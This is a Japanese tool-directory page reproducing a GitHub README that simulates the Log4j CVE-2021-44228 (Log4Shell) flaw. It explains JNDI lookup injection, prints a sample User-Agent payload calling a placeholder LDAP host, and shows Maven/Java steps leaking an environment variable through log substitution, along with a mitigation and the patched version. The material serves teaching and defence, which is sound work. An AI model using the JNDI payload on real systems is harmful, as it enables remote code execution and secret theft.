Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2021-44228 — 悪名高いCVE-2021-44228問題の簡単なシミュレーション。 | Kitploit
ツール/GitHubGitHub/nikolas-charalambidis/cve-2021-44228
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHubnikolas-charalambidis/cve-2021-44228

cve-2021-44228

悪名高いCVE-2021-44228問題の簡単なシミュレーション。

リポジトリを見る
24年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Java CI

CVE-2021-44228

このリポジトリは、悪名高いCVE-2021-44228問題の簡略化されたシミュレーションを示しています。

システムプロパティやその他の辞書構造のルックアップに加えて、Apache Log4jはさまざまな理由でJNDIルックアップ機能も実装しています。 JNDIは、LDAP、DNS、Java RMIレジストリなど、多くのサービスプロバイダからサービスを取得できます。 JNDI自体は単純で安全ではないAPIであり、サードパーティによって制御されるサービスプロバイダからの保護はありません。 攻撃者が悪意のあるURLを介して公的にアクセス可能なサーバーを制御し、特定のポートでリッスンしているアプリケーションによって何がログに記録されるかを認識している限り、 攻撃者はログ形式を悪用して、アプリケーションにJNDIインジェクションを介して任意のJavaコードをロードおよび実行させることができます。 これは、プレーンテキストまたは難読化された形式で、一般的にログに記録されるリクエストヘッダーを介して渡される可能性があります。

root@kitploit:~
user-agent: ${jndi:ldap://evilserver.com/payload}

Apache Log4jは、12月13日にリリースされた2.16.0バージョンより前のバージョンでリモートコード実行の脆弱性がありました。作者の迅速な対応には敬意を表します。

リソース:

  • https://logging.apache.org/log4j/2.x/security.html
  • https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  • https://securelist.com/cve-2021-44228-vulnerability-in-apache-log4j-library/105210/
  • https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns

  • 例

    このシミュレーションでは、LDAPサーバーの代わりに環境変数を使用し、ログ形式はプロパティ置換をサポートしています。 原理は変わりません。

    前提条件

    Java 11とMavenが必要ですが、Maven Wrapperもリポジトリに含まれています。

    悪用

    GitHubリポジトリは、アクションでシークレットを利用可能にするために、ワークフローファイル.github/workflow/ci.ymlで環境変数として設定されたリポジトリシークレットPASSWORDを定義しています。 問題をローカルで再現するには、一般的に使用されるJAVA_HOME環境変数を使用できます。 ワークフローは、異なるApache Log4jバージョン2.14.1と2.16.0で2つのアプリケーションをビルドおよび実行します。以下はGitHub Actionsでのサンプル実行です: Java CI #7。

    Apache Log4j 2.14.1

    このバージョンは攻撃に対して脆弱です。以下の手順で再現します:

    1. mvn clean install -f log4j-2.14.1

    2. java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

      環境変数がログに表示されます:

      args[0] = C:\Program Files\Java\jdk-11.0.11

    実際の実行が自動的に削除された場合に備えて、GitHubアクションからのスクリーンショットを以下に示します:

    log4j-2.14.1.png

    シークレットをログに出力しようとすると、GitHubは自動的にそれらを編集し、値がマスクされて***と表示されることに注意してください。 ただし、プロパティは置換されました。

    緩和策

    一時的かつ部分的な回避策として、-Dlog4j2.formatMsgNoLookups=True JVMパラメータを追加することが指示されており、そのためアプリケーションのすべてのノードを再起動する必要があります。

    1. mvn clean install -f log4j-2.14.1

    2. java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

      プロパティ置換は発生しません:

      args[0] = ${env:JAVA_HOME:-}

    こちらもGitHub Actionsからのスクリーンショットです:

    log4j-2.14.1-mitigated.png

    Apache Log4j 2.16.0

    この問題は、Log4j Security TeamによってLog4j 2.12.2 (Java 7) およびLog4j 2.16.0 (Java 8) で修正されました。

    1. mvn clean install -f log4j-2.16.0

    2. java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'

      プロパティ置換は発生しません:

      args[0] = ${env:JAVA_HOME:-}

    こちらもGitHub Actionsからのスクリーンショットです:

    log4j-2.16.0.png

    ツールをダウンロード